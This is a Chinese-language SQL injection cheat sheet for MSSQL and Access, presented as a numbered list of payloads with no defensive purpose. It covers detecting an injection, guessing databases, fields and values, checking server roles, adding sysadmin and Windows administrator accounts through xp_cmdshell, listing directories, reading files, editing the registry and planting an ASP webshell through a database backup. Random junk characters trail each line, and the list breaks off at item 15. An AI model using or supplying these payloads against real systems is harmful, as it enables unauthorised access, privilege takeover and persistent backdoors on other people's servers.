1.判断是否有注入;and 1=1 ;and 1=2 M?zwXmTVW0
2.初步判断是否是mssql ;and user>0 vd}Y$X
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3.注入参数是字符'and [查询条件] and ''=' eZ[O:W vk:
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 2n8spLZYGY
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5.判断数据库系统 v08Xe*gNU
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;and (select count(*) from sysobjects)>0 mssql Xeo2 < @[
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 QCvz| )
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 eL7\})!W
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Tf1G827
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9.(1)猜字段的ascii值(access) ^dF?MQA<@
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 s;eOX\0
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 &n)=OConge
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10.测试权限结构(mssql) j~@Hj$APa`
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- DiLZ5^`]
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- `X06JTqf:
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- lS.&>{
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /d\#|[S
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- g]hTz)8fF
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- cy6lsJ"?
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11.添加mssql和系统的帐户 sr+Y"R
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;exec master.dbo.sp_addlogin username;-- ,o3{?o]s
;exec master.dbo.sp_password null,username,password;-- ^s_BY+#
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $i^#KZ}-WK
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;exec master.dbo.xp_cmdshell 'net user username password EPE9HvN
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- BO3#*J5S\
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- xTy[X"sJ
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- H1alf_(_
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12.(1)遍历目录 YL$#6d
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;create table dirs(paths varchar(100), id int) 4!%TY4bJ
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Y'75DE<BC
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;and (select top 1 paths from dirs)>0 0nh;0Z
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) !zd]6YL$
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(2)遍历目录 yEaim~
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;Y&<psQeb
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 %[x oA)0!
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 xHA6
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 (-RZ|VdYg
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 k63]Qf=5?N
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13.mssql中的存储过程 (BB&ZUdyv
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xp_regenumvalues 注册表根键, 子键 Px!M^
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $_j\b4]%
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xp_regread 根键,子键,键值名 Ur`jmB
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 g UfLw
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xp_regwrite 根键,子键, 值名, 值类型, 值 i\2d1Z
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 U"1z"PcV
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xp_regdeletevalue 根键,子键,值名 S,K'y?6
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 -~nU&$ccL
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 T-0[P;
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14.mssql的backup创建webshell [fN?=,8
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create table cmd(str image); {Vc%g a|E
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insert into cmd(str) values (''); D1&%N{
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backup database model to disk='c:\l.asp'; a?LrSk`
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15.mssql内置函数 <